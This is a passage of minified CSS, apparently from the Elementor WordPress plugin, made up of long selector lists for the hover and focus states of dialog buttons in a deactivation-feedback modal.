.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:hover,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus,#elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .e-btn.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-btn.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-btn.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-btn.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .e-btn.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-btn.e-primary.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-primary.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-primary.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-skip:focus,#elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-skip:hover,#elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button.dialog-submit.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button.dialog-submit.dialog-skip:hover,#elementor-deactivate-feedback-modal .elementor-button.e-btn-txt.dialog-submit:focus,#elementor-deactivate-feedback-modal .elementor-button.e-btn-txt.dialog-submit:hover,#elementor-deactivate-feedback-modal .elementor-button.e-primary.dialog-skip:focus,#elementor-deactivate-feedback-modal .elementor-button.e-primary.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-cancel.dialog-submit:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:focus,.dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-take_over.dialog-skip:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper 